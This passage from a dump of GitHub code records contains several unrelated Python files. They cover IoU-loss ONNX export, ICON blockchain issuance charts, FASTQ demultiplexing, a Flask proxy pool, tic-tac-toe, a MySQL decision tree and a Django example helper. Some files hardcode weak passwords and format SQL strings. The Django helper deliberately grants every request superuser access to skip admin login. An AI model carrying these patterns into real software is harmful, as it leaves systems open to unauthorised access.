:2])  # [rows, 2]\n        rb = torch.min(bboxes1[:, 2:], bboxes2[:, 2:])  # [rows, 2]\n\n        wh = (rb - lt).clamp(min=0)  # [rows, 2]\n        overlap = wh[:, 0] * wh[:, 1]\n        area1 = (bboxes1[:, 2] - bboxes1[:, 0]) * (bboxes1[:, 3] -\n                                                   bboxes1[:, 1])\n\n        if mode == \"iou\":\n            area2 = (bboxes2[:, 2] - bboxes2[:, 0]) * (bboxes2[:, 3] -\n                                                       bboxes2[:, 1])\n            union = area1 + area2 - overlap\n        else:\n            union = area1\n    else:\n        lt = torch.max(bboxes1[:, None, :2], bboxes2[:, :2])  # [rows, cols, 2]\n        rb = torch.min(bboxes1[:, None, 2:], bboxes2[:, 2:])  # [rows, cols, 2]\n\n        wh = (rb - lt).clamp(min=0)  # [rows, cols, 2]\n        overlap = wh[:, :, 0] * wh[:, :, 1]\n        area1 = (bboxes1[:, 2] - bboxes1[:, 0]) * (bboxes1[:, 3] -\n                                                   bboxes1[:, 1])\n\n        if mode == \"iou\":\n            area2 = (bboxes2[:, 2] - bboxes2[:, 0]) * (bboxes2[:, 3] -\n                                                       bboxes2[:, 1])\n            union = area1[:, None] + area2 - overlap\n        else:\n            union = area1[:, None]\n\n    eps = union.new_tensor([eps])\n    union = torch.max(union, eps)\n    ious = overlap / union\n\n    return ious\n\n\ndef iou_loss(pred, target, eps=1e-6):\n    \"\"\"IoU loss.\n\n    Computing the IoU loss between a set of predicted bboxes and target bboxes.\n    The loss is calculated as negative log of IoU.\n\n    Args:\n        pred (torch.Tensor): Predicted bboxes of format (x1, y1, x2, y2),\n            shape (n, 4).\n        target (torch.Tensor): Corresponding gt bboxes, shape (n, 4).\n        eps (float): Eps to avoid log(0).\n\n    Return:\n        torch.Tensor: Loss tensor.\n    \"\"\"\n    ious = bbox_overlaps(pred, target, is_aligned=True).clamp(min=eps)\n    loss = -ious.log()\n    return loss\n\nclass Bbox(nn.Module):\n    def __init__(self):\n        super(Bbox, self).__init__()\n        self.bbox_overlaps = bbox_overlaps\n        self.iou_loss = iou_loss\n\n    def forward(self, pred, target):\n        loss = self.iou_loss(pred, target)\n\n        return loss \n\ntorch_model = Bbox()\n\ntorch_model.eval()\n\npred, target = args_adaptor(gen_np_args(128, ))\ntorch_out = torch_model(pred, target)\n\ntorch.onnx.export(torch_model, \n        (pred, target),\n        \"iou_loss.onnx\",\n        verbose=True,\n        export_params=True,\n        opset_version=12,\n        input_names=['pred', 'target'],\n        output_names = ['output'])\n","repo_name":"DeepLink-org/DLOP-Bench","sub_path":"bench/samples/long_tail/iou_loss/tvm/op.py","file_name":"op.py","file_ext":"py","file_size_in_byte":4876,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"18"}
{"seq_id":"27722155728","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jan 31 09:47:52 2023\n\n@author: tono\n\"\"\"\nimport pandas as pd\nimport numpy as np\nimport os\nfrom datetime import date, datetime, timedelta\nfrom iconsdk.icon_service import IconService\nfrom iconsdk.providers.http_provider import HTTPProvider\nfrom iconsdk.builder.call_builder import CallBuilder\nfrom iconsdk.wallet.wallet import KeyWallet\nimport matplotlib.ticker as ticker\nimport six\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport matplotlib.patheffects as pe\nfrom typing import Union\nimport requests\nimport random\nfrom time import time, sleep\n\n# loop to icx converter\ndef loop_to_icx(loop):\n    icx = loop / 1000000000000000000\n    return(icx)\n\ndef hex_to_int(val: str) -> Union[int, float]:\n    \"\"\"\n    Attempts to convert a string based hex into int\n        Parameters:\n            val (str): Value in hex\n        Returns:\n            (Union[int, float]): Returns the value as an int if successful, otherwise a float NAN if not\n    \"\"\"\n    try:\n        return int(val, 0)\n    except ValueError:\n        print(f\"failed to convert {val} to int\")\n        return float(\"NAN\")\n\ndef parse_icx(val: str) -> Union[float, int]:\n    \"\"\"\n    Attempts to convert a string loop value into icx\n        Parameters:\n            val (str): Loop value\n        Returns:\n            (Union[float, int]): Will return the converted value as an int if successful, otherwise it will return NAN\n    \"\"\"\n    try:\n        return loop_to_icx(int(val, 0))\n    except ZeroDivisionError:\n        return float(\"NAN\")\n    except ValueError:\n        return float(\"NAN\")\n\ndef request_sleep_repeat(url, repeat=3, verify=True):\n    for i in range(0,repeat):\n        print(f\"Trying {str(i)}...\")\n        try:\n            # this is from Blockmove's iconwatch -- get the destination address (known ones, like binance etc)\n            url_info = requests.get(url, headers={'User-Agent': 'Mozilla/5.0'}, verify=verify)\n            random_sleep_except = random.uniform(3,6)\n            print(\"Just pausing for \" + str(random_sleep_except) + \" seconds and try again \\n\")\n            sleep(random_sleep_except)\n            \n        except:\n            random_sleep_except = random.uniform(30,60)\n            print(\"I've encountered an error! I'll pause for \" + str(random_sleep_except) + \" seconds and try again \\n\")\n            sleep(random_sleep_except)\n    return url_info\n\n    \nwalletPath = '/home/tono/ICONProject/data_analysis/wallet'\n  \n## Creating Wallet if does not exist (only done for the first time)\ntester_wallet = os.path.join(walletPath, \"test_keystore_1\")\n\nif os.path.exists(tester_wallet):\n    wallet = KeyWallet.load(tester_wallet, \"abcd1234*\")\nelse:\n    wallet = KeyWallet.create()\n    wallet.get_address()\n    wallet.get_private_key()\n    wallet.store(tester_wallet, \"abcd1234*\")\n\ntester_address = wallet.get_address()\nSYSTEM_ADDRESS = \"cx0000000000000000000000000000000000000000\"\nicon_service = IconService(HTTPProvider(\"https://ctz.solidwallet.io/api/v3\"))\n\n\ndef get_iiss_info():\n    call = CallBuilder().from_(tester_address) \\\n        .to(SYSTEM_ADDRESS) \\\n        .method(\"getIISSInfo\") \\\n        .build()\n    result = icon_service.call(call)['variable']\n\n    df = {'Icps': hex_to_int(result['Icps']), 'Iglobal': parse_icx(result['Iglobal']),\n          'Iprep': hex_to_int(result['Iprep']),\n          'Irelay': hex_to_int(result['Irelay']), 'Ivoter': hex_to_int(result['Ivoter'])}\n\n    return df\n\ndef icx_text_format(icx_float: float) -> str:\n    return '{:,}'.format(round(icx_float)) + ' ICX'\n    \n    \n    \n\niglobal = get_iiss_info()['Iglobal']\ndaily_issuance = iglobal*12/365\ndaily_issuance_text = icx_text_format(daily_issuance)\n# daily_issuance_voter = \n\ndaily_icps = icx_text_format(daily_issuance*get_iiss_info()['Icps']/100)\ndaily_iprep = icx_text_format(daily_issuance*get_iiss_info()['Iprep']/100)\ndaily_ivoter = icx_text_format(daily_issuance*get_iiss_info()['Ivoter']/100)\ndaily_irelay = icx_text_format(daily_issuance*get_iiss_info()['Irelay']/100)\n\ntotal_supply = round(loop_to_icx(icon_service.get_total_supply()))\ntotal_supply_text = icx_text_format(total_supply)\nyearly_inflation = '{:.2%}'.format(iglobal*12/total_supply)\n\n\ntoday = datetime.utcnow() - timedelta(days=1)\nday_today = today.strftime(\"%Y-%m-%d\")\nday_today_fn = today.strftime(\"%Y_%m_%d\")\n# day_today_text = today.strftime(\"%Y/%m/%d\")\nthis_year = day_today_fn[0:4]\n\n# making path for saving\ncurrPath = '/home/tono/ICONProject/data_analysis/'\ninPath = '/home/tono/ICONProject/data_analysis/output/'\nprepvotePath = os.path.join(inPath, \"prep_votes\")\nsavePath = os.path.join(prepvotePath, this_year)\n\nfn = f'prep_top_100_votes_and_bond_{day_today_fn}.csv'\ndf = pd.read_csv(os.path.join(savePath, fn), low_memory=False)\n\ndf['Bond Status'] = np.where(df['bond'] != 0, 'Bonded', 'Not bonded')\ndf = df.rename(columns = {'prep_type': 'P-Rep Type'})\n\n\ndf_plot_count = df.groupby(['Bond Status','P-Rep Type'])\\\n    .size()\\\n    .reset_index()\\\n    .pivot(columns='P-Rep Type', index='Bond Status', values=0)\ndf_plot_count = df_plot_count[['main','sub','candidate']]\n\ndf_plot_votes = df.groupby(['Bond Status','P-Rep Type'])['delegation']\\\n    .sum()\\\n    .reset_index()\\\n    .pivot(columns='P-Rep Type', index='Bond Status', values='delegation')\n# df_plot = df_plot[['candidate','sub','main']]\ndf_plot_votes = df_plot_votes[['main','sub','candidate']]\n\ndef plot_bonded_status(df, my_title, ylab):\n    \n    def shorten_number(x):\n        if x>= 1000000:\n            x = '{:,.1f}'.format(x / 1e6) + ' M'\n        elif x>= 100000:\n            x = '{:,.0f}'.format(x / 1e3) + ' K'\n        elif x>= 1000:\n            x = '{:,.0f}'.format(x)\n        elif x< 1000:\n            x = int(x)\n        return x\n\n    sns.set(style=\"ticks\", rc={\"lines.linewidth\": 1})\n    plt.style.use(['dark_background'])\n    \n    ax = df.plot(kind='bar', stacked=True)\n    plt.setp(ax.get_xticklabels(), rotation=0)\n    handles, labels = ax.get_legend_handles_labels()\n    # ax.legend(reversed(handles), reversed(labels))\n    \n    for c in ax.containers:\n\n        labels = ['{:,.1f}'.format(x / 1e6) + ' M' if x>= 1000000\\\n                  else '{:,.0f}'.format(x / 1e3) + ' K' if x>= 100000\\\n                  else '{:,.0f}'.format(x) if x>= 1000\\\n                  else int(x) if x< 1000\\\n                  else x for x in c.datavalues]\n        \n        labels = [a if a else \"\" for a in labels]\n\n\n        ax.bar_label(c, labels=labels, label_type='center', color='black',\n                     path_effects=[pe.withStroke(linewidth=2, foreground='white')])\n    \n    \n    my_labels = [shorten_number(i) for i in df.sum(axis=1).to_list()]\n    \n    ax.bar_label(ax.containers[2], labels=my_labels, padding=10, color='cyan', weight='bold')\n    \n    ax.margins(y=0.2)\n    \n    ax.legend(title='P-Rep Type', bbox_to_anchor=(1.05, 1), loc='upper left')\n    ax.spines['right'].set_visible(False)\n    ax.spines['top'].set_visible(False)\n    ax.set_xlabel('Bond status', fontsize=14, weight='bold', labelpad=10)\n    ax.set_ylabel(ylab, fontsize=14, weight='bold', labelpad=10)\n    ax.set_title(my_title, fontsize=14, weight='bold', loc='left', pad=10)\n\n    xmin, xmax = ax.get_xlim()\n    ymin, ymax = ax.get_ylim()\n    \n    if ymax >= 1000:\n        ax.yaxis.set_major_formatter(ticker.FuncFormatter(lambda x, pos: '{:,.0f}'.format(x)))\n    if ymax >= 100000:\n        ax.yaxis.set_major_formatter(ticker.FuncFormatter(lambda x, pos: '{:,.0f}'.format(x / 1e3) + ' K'))\n    if ymax >= 1000000:\n        ax.yaxis.set_major_formatter(ticker.FuncFormatter(lambda x, pos: '{:,.1f}'.format(x / 1e6) + ' M'))\n    plt.tight_layout()\n    \n    plt.savefig(os.path.join(savePath, my_title\\\n                             .replace(' ', '_')\\\n                             .replace('(','')\\\n                             .replace(')','')\\\n                             .replace('$','')\\\n                             .replace('-','_')\\\n                             .replace('\\n','_')\\\n                                 + '.png'))\n\n\nplot_bonded_status(df_plot_count, f'Number of P-Rep types by\\nbond status ({day_today})', 'Number of P-Reps')\nplot_bonded_status(df_plot_votes, f'$ICX delegated to P-Rep types by\\nbond status ({day_today})', '$ICX')\n\n\n\n\n## wallet counts\nwallet_data_url = request_sleep_repeat(url = f'https://api.iconwat.ch/daily/?from=1970-01-18&to={day_today}', repeat=1, verify=True)\nwatllet_data_list = wallet_data_url.json()['data']\n\nwallet_date = [i['date'] for i in watllet_data_list]\nwallet_transacted_count = [i['walletsTransacted'] for i in watllet_data_list]\nwallet_count = [i['totalWallets'] for i in watllet_data_list]\n\nwallet_df = pd.DataFrame(list(zip(wallet_date, wallet_transacted_count, wallet_count)),\n             columns = ['Date', 'Transacted wallets', 'Total wallets'])\n\n\n\n\n","repo_name":"Transcranial-Solutions/ICONProject","sub_path":"data_analysis/0_governance.py","file_name":"0_governance.py","file_ext":"py","file_size_in_byte":8783,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"18"}
{"seq_id":"69891370282","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Split a String in Balanced Strings\n# Easy\n# \n# Balanced strings are those who have equal quantity of 'L' and 'R' characters.\n# \n# Given a balanced string s split it in the maximum amount of balanced strings.\n# \n# Return the maximum amount of splitted balanced strings.\n# \n#  \n# \n# Example 1:\n# \n# Input: s = \"RLRRLLRLRL\"\n# Output: 4\n# Explanation: s can be split into \"RL\", \"RRLL\", \"RL\", \"RL\", each substring contains same number of 'L' and 'R'.\n# Example 2:\n# \n# Input: s = \"RLLLLRRRLR\"\n# Output: 3\n# Explanation: s can be split into \"RL\", \"LLLRRR\", \"LR\", each substring contains same number of 'L' and 'R'.\n# Example 3:\n# \n# Input: s = \"LLLLRRRR\"\n# Output: 1\n# Explanation: s can be split into \"LLLLRRRR\".\n# Example 4:\n# \n# Input: s = \"RLRRRLLRLL\"\n# Output: 2\n# Explanation: s can be split into \"RL\", \"RRRLLRLL\", since each substring contains an equal number of 'L' and 'R'\n#  \n\n# In[10]:\n\n\ndef balancedStringSplit(s):\n    num, L_num, R_num = 0, 0, 0\n    for x in s:\n        if x == 'L':\n            L_num += 1\n        else:\n            R_num += 1\n        if L_num == R_num:\n            num += 1\n    return num\n\n\n# In[11]:\n\n\ns = 'LLRRLR'\n\nprint(balancedStringSplit(s))\n        \n\n\n# In[ ]:\n\n\n\n\n","repo_name":"kilicsedat/LeetCode-Solutions","sub_path":"0000. Split a String in Balanced Strings.py","file_name":"0000. Split a String in Balanced Strings.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"71697898920","text":"\nfrom __future__ import annotations\n\nfrom collections import Counter\nfrom typing import Dict, List, Optional, Tuple\nfrom fastq_demux.parser import FastqFileParser\nfrom fastq_demux.writer import FastqFileWriterHandler\n\n\nclass DemultiplexResults:\n    \"\"\"\n    Class to handle the statistics from the demultiplexing\n    \"\"\"\n    def __init__(self, barcode_to_sample_mapping: Dict[str, str]):\n        \"\"\"\n        Create a new DemultiplexResults instance\n\n        :param barcode_to_sample_mapping: a dict having barcodes as keys and the corresponding\n        sample-id as value, representing the known barcodes used for demultiplexing\n        \"\"\"\n        self.barcode_to_sample_mapping: Dict[str, str] = barcode_to_sample_mapping\n        self.barcode_counts: Counter = Counter()\n        self.barcode_mismatches_count: Dict[str, Counter] = {\n            barcode: Counter() for barcode in barcode_to_sample_mapping.keys()}\n\n    def add(self, barcode: str, n: int = 1, distance: int = 0) -> None:\n        \"\"\"\n        Increase the count of the supplied barcode by n (default = 1)\n\n        :param barcode: the barcode to increase the count for\n        :param n: the value to increase the count with (default = 1)\n        :param distance: the number of mismatches encountered in the barcode (default = 0)\n        \"\"\"\n        self.barcode_counts[barcode] += n\n        try:\n            self.barcode_mismatches_count[barcode][str(distance)] += n\n        except KeyError:\n            pass\n\n    def known_barcode_counts(self) -> Counter:\n        \"\"\"\n        Get a Counter representing only the known barcodes\n        :return: a Counter representing only the known barcodes\n        \"\"\"\n        return Counter({barcode: count for barcode, count in self.barcode_counts.items()\n                        if barcode in self.barcode_to_sample_mapping})\n\n    def unknown_barcode_counts(self) -> Counter:\n        \"\"\"\n        Get a Counter representing only the unknown barcodes\n        :return: a Counter representing only the unknown barcodes\n        \"\"\"\n        return Counter({barcode: count for barcode, count in self.barcode_counts.items()\n                        if barcode not in self.barcode_to_sample_mapping})\n\n    def _sample_to_barcode(self) -> Dict[str, List[str]]:\n        sample_to_barcode = {\n            sample: []\n            for sample in set(list(self.barcode_to_sample_mapping.values()))}\n        for barcode, sample in self.barcode_to_sample_mapping.items():\n            sample_to_barcode[sample].append(barcode)\n        return sample_to_barcode\n\n    def barcode_mismatch_counts(self, barcode: str) -> List[int]:\n        max_distance = max([0] + [\n            int(distance)\n            for distance in self.barcode_mismatches_count[barcode].keys()])\n        return [\n            self.barcode_mismatches_count[barcode][str(distance)]\n            for distance in range(max_distance + 1)]\n\n    def summarize_counts(\n            self,\n            barcode_set: str = \"all\",\n            n_values: Optional[int] = None) -> List[Tuple[str, int, float]]:\n        \"\"\"\n        Summarize the counts for a set of barcodes, presenting counts and percent of total for each\n        barcode in the set\n\n        :param barcode_set: the set of barcodes to present a summary for, this must be one of\n        \"all\", \"known\" or \"unknown\"\n        :param n_values: if specified, present only the n_values top values\n        :return: a list of Tuples, each element being a barcode, count and percent of total\n        \"\"\"\n        total: int = sum(self.barcode_counts.values())\n        counter: Counter = self.barcode_counts\n        if barcode_set == \"known\":\n            counter: Counter = self.known_barcode_counts()\n        elif barcode_set == \"unknown\":\n            counter: Counter = self.unknown_barcode_counts()\n\n        return [(\n            barcode,\n            count,\n            round(100. * count / total, 1))\n            for barcode, count in counter.most_common(n_values)]\n\n    def stats_json(self) -> Dict[str, dict]:\n        \"\"\"\n        Summarize the results in a data structure mimicking the output in bcl2fastq's Stats.json\n\n        :return: a dict mimicking the output in bcl2fastq's Stats.json\n        \"\"\"\n        demux_results: List[dict] = []\n\n        for sample, barcodes in self._sample_to_barcode().items():\n            demux_results.append({\n                \"SampleId\": sample,\n                \"NumberReads\": sum([self.barcode_counts[barcode] for barcode in barcodes]),\n                \"IndexMetrics\": [{\n                    \"IndexSequence\": barcode,\n                    \"MismatchCounts\": {\n                        str(distance): self.barcode_mismatches_count[barcode][str(distance)]\n                        for distance, count in enumerate(self.barcode_mismatch_counts(barcode))\n                    }\n                } for barcode in barcodes]\n            })\n\n        return {\n            \"ConversionResults\": {\n                \"DemuxResults\": demux_results,\n                \"Undetermined\": {\n                    \"NumberReads\": sum(self.unknown_barcode_counts().values())}},\n            \"UnknownBarcodes\": {\n                \"Barcodes\": self.unknown_barcode_counts()}}\n\n\nclass FastqDemultiplexer:\n    \"\"\"\n    Class handling the demultiplexing of a FASTQ read according to the barcode in the header\n    \"\"\"\n\n    def __init__(\n            self,\n            fastq_parser: FastqFileParser,\n            fastq_writer: FastqFileWriterHandler,\n            demultiplex_results: DemultiplexResults,\n            unknown_barcode: str,\n            mismatches: int = 0):\n        \"\"\"\n        Create a new FastqDemultiplexer instance\n\n        :param fastq_parser: a FastqFileParser instance used to parse the input FASTQ file(s)\n        :param fastq_writer: a FastqFileWriterHandler instance used to write the demultiplexed\n        output to corresponding FASTQ file(s)\n        :param demultiplex_results: a Demultiplexresults instance used for collecting statistics\n        :param unknown_barcode: a string to collect the unknown barcodes under\n        :param mismatches: the number of mismatches allowed when matching barcodes (default 0)\n        \"\"\"\n        self.fastq_parser: FastqFileParser = fastq_parser\n        self.fastq_writer: FastqFileWriterHandler = fastq_writer\n        self.demultiplex_results: DemultiplexResults = demultiplex_results\n        self.unknown_barcode: str = unknown_barcode\n        self.mismatches = mismatches\n        self.mismatched_barcodes: Dict[str, Tuple[str, int, str]] = {}\n\n    @staticmethod\n    def create_fastq_demultiplexer(\n        fastq_parser: FastqFileParser,\n        fastq_writer: FastqFileWriterHandler,\n        demultiplex_results: DemultiplexResults,\n        unknown_barcode: str,\n        mismatches: int = 0) -> FastqDemultiplexer:\n        if mismatches == 0:\n            return FastqDemultiplexer(\n                fastq_parser,\n                fastq_writer,\n                demultiplex_results,\n                unknown_barcode,\n                mismatches)\n        return FastqMismatchDemultiplexer(\n                fastq_parser,\n                fastq_writer,\n                demultiplex_results,\n                unknown_barcode,\n                mismatches)\n\n    def demultiplex(self) -> DemultiplexResults:\n        \"\"\"\n        Iterate over the fastq_parser and write output to the fastq_writer\n\n        :return: the DemultiplexResults instance containing the statistics from the demultiplexing\n        \"\"\"\n        for record, barcode in self.fastq_parser.fastq_records():\n            self.demultiplex_record(record, barcode)\n        return self.demultiplex_results\n\n    def _write_matching_barcode(self, fastq_record: List[List[str]], barcode: str) -> None:\n        self.fastq_writer.write_fastq_record(barcode, fastq_record)\n\n    def demultiplex_record(self, fastq_record: List[List[str]], barcode: str) -> None:\n        \"\"\"\n        Demultiplex a FASTQ read (or read pair) using the barcode in the FASTQ header and write it\n        to the corresponding FastqFileWriter\n\n        :param fastq_record: a 1- or 2-element list of FASTQ reads for single-end or paired-end,\n        respectively. Each read is a list of 4 strings\n        :param barcode: a string containing the barcode belonging to the record\n        \"\"\"\n        try:\n            self._write_matching_barcode(fastq_record, barcode)\n        except KeyError:\n            self._write_matching_barcode(fastq_record, self.unknown_barcode)\n        self.demultiplex_results.add(barcode)\n\n\nclass FastqMismatchDemultiplexer(FastqDemultiplexer):\n\n    @staticmethod\n    def hamming_distance(str1: str, str2: str) -> int:\n        return sum([int(s1 != s2) for (s1, s2) in zip(str1, str2)])\n\n    def match_mismatched_single_barcode(\n            self, barcode: str, known_barcodes: List[str]) -> Tuple[str, int]:\n        distances = list(map(\n            lambda x: self.hamming_distance(x, barcode),\n            known_barcodes))\n        no_mm = -1\n        while no_mm < self.mismatches:\n            no_mm += 1\n            try:\n                i = distances.index(no_mm)\n                if distances.count(no_mm) > 1 and \\\n                        len(set([\n                            known_barcodes[x] for x, d in enumerate(distances) if d == no_mm])) > 1:\n                    raise Exception(\n                        f\"the barcode {barcode} is ambiguous when allowing {self.mismatches} \"\n                        f\"mismatches\")\n                return known_barcodes[i], no_mm\n            except ValueError:\n                pass\n        return \"\", -1\n\n    def match_mismatched_barcode(self, barcode: str) -> None:\n        keys = list(\n            self.demultiplex_results.barcode_to_sample_mapping.keys())\n        matched_key = []\n        distance = 0\n        for ix, sindex in enumerate(barcode.split(\"+\")):\n            known_barcodes = [k.split(\"+\")[ix] for k in keys if k != self.unknown_barcode]\n            mk, d = self.match_mismatched_single_barcode(sindex, known_barcodes)\n            matched_key.append(mk)\n            distance = max([d, distance])\n        matched_barcode = \"+\".join(matched_key)\n        counted_barcode = matched_barcode\n        if matched_barcode not in keys:\n            matched_barcode = self.unknown_barcode\n            distance = 0\n            counted_barcode = barcode\n        self.mismatched_barcodes[barcode] = (matched_barcode, distance, counted_barcode)\n\n    def demultiplex_record(self, fastq_record: List[List[str]], barcode: str) -> None:\n        \"\"\"\n        Demultiplex a FASTQ read (or read pair) using the barcode in the FASTQ header and write it\n        to the corresponding FastqFileWriter\n\n        :param fastq_record: a 1- or 2-element list of FASTQ reads for single-end or paired-end,\n        respectively. Each read is a list of 4 strings\n        :param barcode: a string containing the barcode belonging to the record\n        \"\"\"\n        try:\n            self._write_matching_barcode(fastq_record, self.mismatched_barcodes[barcode][0])\n        except KeyError:\n            self.match_mismatched_barcode(barcode)\n            return self.demultiplex_record(fastq_record, barcode)\n        self.demultiplex_results.add(\n            self.mismatched_barcodes[barcode][2],\n            distance=self.mismatched_barcodes[barcode][1])\n","repo_name":"Molmed/fastq_demux","sub_path":"fastq_demux/demux.py","file_name":"demux.py","file_ext":"py","file_size_in_byte":11248,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"9344912490","text":"import os\nimport sys\nimport random\nfrom flask import Flask, request, jsonify\n\nimport config\nfrom proxy_pool import ProxyPool\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n    return 'Proxy Pool'\n\n\n@app.route('/get')\ndef get():\n    p = ProxyPool.get()\n    return p\n\n\n@app.route('/count')\ndef count():\n    n = ProxyPool.count()\n    return str(n)\n\n\n@app.route('/delete')\ndef delete():\n    pass\n    return 'not complete'\n\n\napplication = app\n\n\ndef run():\n    app.run(host=config.web_host, port=config.web_port)\n\n\nif __name__ == '__main__':\n    run()\n","repo_name":"KomorebiSaw/proxy_pool","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"35971175402","text":"import board\r\n\r\ndef finish(ticTac):\r\n    print(\"--------------\")\r\n    print(\"Final result: \")\r\n    print(ticTac)\r\n\r\n    if (ticTac.evaluate() == 0):\r\n        print(\"The game is a tie!\")\r\n    elif (ticTac.evaluate() == -1):\r\n        print(\"The game is won!\")\r\n    else:\r\n        print(\"The game is lost!\")\r\n\r\n    if(str(input(\"Again(y/n): \")).strip() == 'y'):\r\n        run()\r\n    else:\r\n        exit()\r\n\r\ndef run():\r\n    symbol = str(input(\"Choose your symbol(x or o): \")).strip()\r\n    if (symbol == 'x'):\r\n        ai = 'o'\r\n    else:\r\n        ai = 'x'\r\n\r\n    ticTac = board.TicTacToeBoard(symbol, ai)\r\n    turn = 0\r\n\r\n    while(True):\r\n        if (turn == 0):\r\n            print(ticTac)\r\n\r\n        print(\"\\nEnter location(x y): \")\r\n        x, y = map(int, input().split())\r\n        ticTac.place(x, y)\r\n        print(\"Player turn:\")\r\n        print(ticTac)\r\n        if (not ticTac.areMovesLeft() or ticTac.evaluate() == 1 or ticTac.evaluate() == -1):\r\n            finish(ticTac)\r\n            break\r\n        \r\n        ticTac.moveAI()\r\n        print(\"\\nAI turn:\")\r\n        print(ticTac)\r\n        if (not ticTac.areMovesLeft() or ticTac.evaluate() == 1 or ticTac.evaluate() == -1):\r\n            finish(ticTac)\r\n            break\r\n        turn += 1\r\n\r\nrun()\r\n","repo_name":"dukotron/TicTacToe-PvAI","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"11702145947","text":"import mysql.connector\n\n\nclass Tree:\n    def __init__(self, _settings, result_column):\n        self.connect = mysql.connector.connect(user=settings['user'], password=settings['password'],\n                                               host=settings['host'], database=settings['database'])\n        self.settings = _settings\n        self.db = self.connect.cursor()\n        self.result_column = result_column\n        self.result_values = set()\n        self.db.execute(\"SELECT DISTINCT %s FROM %s \" % (result_column, _settings['table']))\n        [self.result_values.add(row[0]) for row in self.db]\n        self.db.execute(\"SELECT COUNT(*)/(SELECT COUNT(*) FROM %s) FROM Tennis\"\n                        \" GROUP BY %s\" % (_settings['table'], result_column))\n        self.globEntropy = Tree.entropy(float(row[0]) for row in self.db)\n        self.db.execute(\"SELECT COUNT(*) FROM %s\" % self.settings['table'])\n        self.count_of_rows = 0\n        for row in self.db:\n            self.count_of_rows = row[0]\n\n    def get_glob_entropy(self):\n        return self.globEntropy\n\n    # def gain(self, SpA):\n    #     return self.globEntropy - sum(map(lambda prob: prob * Tree.entropy(prob), SpA))\n\n    @staticmethod\n    def entropy(probabilities):\n        from math import log2\n        result = 0\n        for probability in probabilities:\n            result -= probability * log2(probability)\n        return result\n\n    def calculate_gains(self):\n        columns = set()\n        self.db.execute(\"SHOW COLUMNS FROM %s\" % self.settings['table'])\n        [columns.add(row[0]) for row in self.db]\n        columns.remove('Day')\n        columns.remove(self.result_column)\n        gains = dict()\n        for column in columns:\n            self.db.execute(\"SELECT DISTINCT %s  FROM %s\" % (column, self.settings['table']))\n            print('Column %s:' % column)\n            gain = self.globEntropy\n            values = set()\n            [values.add(row[0]) for row in self.db]\n            print('Values: ', ' '.join(values))\n            print('|Attribute|Result|')\n            for value in values:\n                print('Value %s' % value, ':')\n                current_table = \"SELECT COUNT(*) FROM %s WHERE %s = '%s'\" \\\n                                % (self.settings['table'], column, value)\n                self.db.execute(current_table)\n                value_part = 0\n                for row in self.db:\n                    value_part = row[0] / self.count_of_rows\n                probabilities = list()\n                for result_value in self.result_values:\n                    self.db.execute(\"SELECT COUNT(*)/(%s) FROM %s WHERE %s = '%s' AND %s = '%s' GROUP BY %s\"\n                                    % (current_table, self.settings['table'], column, value,\n                                       self.result_column, result_value, self.result_column))\n                    for row in self.db:\n                        print(result_value, ':', row[0])\n                        probabilities.append(float(row[0]))\n                gain -= value_part * Tree.entropy(probabilities)\n\n            gains[column] = gain\n        for key in gains:\n            print(key, ' --- ', gains[key])\n\n        def get_max(dictionary):\n            mx = max(dictionary.values())\n            for index in dictionary.keys():\n                if dictionary[index] == mx:\n                    break\n            return index\n        print('Root is', get_max(gains))\n\n    def clear(self):\n        self.db.close()\n\n\nsettings = {\n    'user': 'root',\n    'password': '123',\n    'host': 'localhost',\n    'database': 'Tennis',\n    'table': 'Tennis',\n}\ntree = Tree(settings, 'Decision')\nprint(tree.get_glob_entropy())\ntree.calculate_gains()\ntree.clear()\n\n","repo_name":"Flyewzz/Decision_Tree","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"9672148301","text":"from django.contrib.auth import get_user_model\nfrom django.db.utils import ProgrammingError\n\n\ndef disable_admin_login():\n    \"\"\"\n    Disable admin login, but allow editing.\n\n    amended from: https://stackoverflow.com/a/40008282/517560\n    \"\"\"\n    User = get_user_model()\n\n    try:\n        user, created = User.objects.update_or_create(\n            id=1,\n            defaults=dict(\n                first_name=\"Default Admin\",\n                last_name=\"User\",\n                is_superuser=True,\n                is_active=True,\n                is_staff=True,\n            ),\n        )\n    except ProgrammingError:\n        # auth_user doesn't exist, this allows the migrations to run properly.\n        user = None\n\n    def no_login_has_permission(request):\n        setattr(request, \"user\", user)\n\n        return True\n\n    return no_login_has_permission\n","repo_name":"zostera/django-modeltrans","sub_path":"example/app/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"18"}
